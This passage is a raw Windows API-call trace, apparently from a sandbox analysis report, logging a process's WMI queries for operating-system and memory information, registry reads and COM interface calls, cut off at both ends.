(bstr="2096620") returned 0xe [0278.320] SysStringByteLen (bstr="2096620") returned 0xe [0278.320] IWbemClassObject:Get (in: This=0x1b2681f0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x265dd08*=21, plFlavor=0x265dd0c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x265dd08*=21, plFlavor=0x265dd0c*=0) returned 0x0 [0278.320] SysStringByteLen (bstr="2096620") returned 0xe [0278.320] SysStringByteLen (bstr="2096620") returned 0xe [0278.321] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0278.321] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0278.321] IUnknown:Release (This=0x1b286320) returned 0x0 [0280.522] GetTickCount64 () returned 0x1ac2b67 [0280.524] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0280.526] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2826c60, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2826c60*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0280.530] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0280.531] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2838078, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2838078*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0280.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0280.537] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0280.537] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0280.537] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0280.538] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0280.538] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0280.538] IUnknown:Release (This=0x77dd58) returned 0x1 [0280.539] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218310) returned 0x0 [0280.539] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218310, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0280.539] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218310, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218590) returned 0x0 [0280.540] WbemLocator:IUnknown:Release (This=0x1d218310) returned 0x0 [0280.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218590) returned 0x0 [0280.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0280.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0280.540] WbemLocator:IUnknown:AddRef (This=0x1d218590) returned 0x3 [0280.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0280.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0280.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0280.540] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0280.540] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0280.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0280.540] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x2 [0280.540] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x1 [0280.540] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0280.540] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0280.540] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218590) returned 0x0 [0280.541] WbemLocator:IUnknown:AddRef (This=0x1d218590) returned 0x3 [0280.541] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x2 [0280.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0280.541] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0280.541] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0280.541] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d218650) returned 0x0 [0280.541] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d218650, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d290980) returned 0x0 [0280.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290980, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b2031b0) returned 0x0 [0280.957] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b2031b0, pProxy=0x1d290980, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0280.957] WbemLocator:IUnknown:Release (This=0x1b2031b0) returned 0x1 [0280.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290980, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b2031f8) returned 0x0 [0280.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290980, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b2031b0) returned 0x0 [0280.957] WbemLocator:IClientSecurity:SetBlanket (This=0x1b2031b0, pProxy=0x1d290980, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0280.958] WbemLocator:IUnknown:Release (This=0x1b2031b0) returned 0x2 [0280.958] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0280.958] CoTaskMemFree (pv=0x1d1e6750) [0280.958] WbemLocator:IUnknown:Release (This=0x1d218650) returned 0x0 [0280.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290980, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b2031f8) returned 0x0 [0280.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0281.006] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0281.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290980, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0281.068] WbemLocator:IUnknown:AddRef (This=0x1b2031f8) returned 0x3 [0281.068] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0281.068] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0281.068] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b2030d8) returned 0x0 [0281.068] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2030d8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0281.068] WbemLocator:IUnknown:Release (This=0x1b2030d8) returned 0x3 [0281.068] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0281.069] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0281.069] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b2031c0) returned 0x0 [0281.069] WbemLocator:IRpcOptions:Query (in: This=0x1b2031c0, pPrx=0x1b2031f8, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0281.069] WbemLocator:IUnknown:Release (This=0x1b2031c0) returned 0x3 [0281.069] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x2 [0281.069] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0281.069] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0281.069] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d290980) returned 0x0 [0281.069] WbemLocator:IUnknown:AddRef (This=0x1d290980) returned 0x4 [0281.069] WbemLocator:IUnknown:Release (This=0x1d290980) returned 0x3 [0281.069] WbemLocator:IUnknown:Release (This=0x1d290980) returned 0x2 [0281.070] SysStringLen (param_1=0x0) returned 0x0 [0281.070] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0281.070] WbemLocator:IUnknown:AddRef (This=0x1b2031f8) returned 0x3 [0281.070] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b2031f8) returned 0x0 [0281.070] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x3 [0281.070] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x2 [0281.070] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0281.070] WbemLocator:IUnknown:AddRef (This=0x1d290980) returned 0x3 [0281.071] IWbemServices:ExecQuery (in: This=0x1d290980, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286080) returned 0x0 [0281.143] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286088) returned 0x0 [0281.144] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0281.144] IUnknown:Release (This=0x1b286088) returned 0x1 [0281.144] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b2021b8) returned 0x0 [0281.144] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286088) returned 0x0 [0281.145] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0281.210] IUnknown:Release (This=0x1b286088) returned 0x2 [0281.210] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0281.210] CoTaskMemFree (pv=0x1d1e6660) [0281.210] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b2021b8) returned 0x0 [0281.211] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0281.223] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0281.224] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0281.224] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0281.225] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0281.225] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0281.225] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202098) returned 0x0 [0281.225] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0281.225] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0281.225] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0281.225] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0281.225] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202180) returned 0x0 [0281.225] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0281.225] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0281.226] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0281.226] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0281.226] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0281.226] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286080) returned 0x0 [0281.226] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0281.226] IUnknown:Release (This=0x1b286080) returned 0x3 [0281.226] IUnknown:Release (This=0x1b286080) returned 0x2 [0281.226] WbemLocator:IUnknown:Release (This=0x1d290980) returned 0x2 [0281.226] SysStringLen (param_1=0x0) returned 0x0 [0281.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0281.226] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0281.226] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0281.227] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0281.227] IUnknown:AddRef (This=0x1b286080) returned 0x3 [0281.227] IEnumWbemClassObject:Clone (in: This=0x1b286080, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b287040) returned 0x0 [0281.228] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b287048) returned 0x0 [0281.228] IClientSecurity:QueryBlanket (in: This=0x1b287048, pProxy=0x1b287040, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0281.229] IUnknown:Release (This=0x1b287048) returned 0x1 [0281.229] IUnknown:QueryInterface (in: This=0x1b287040, 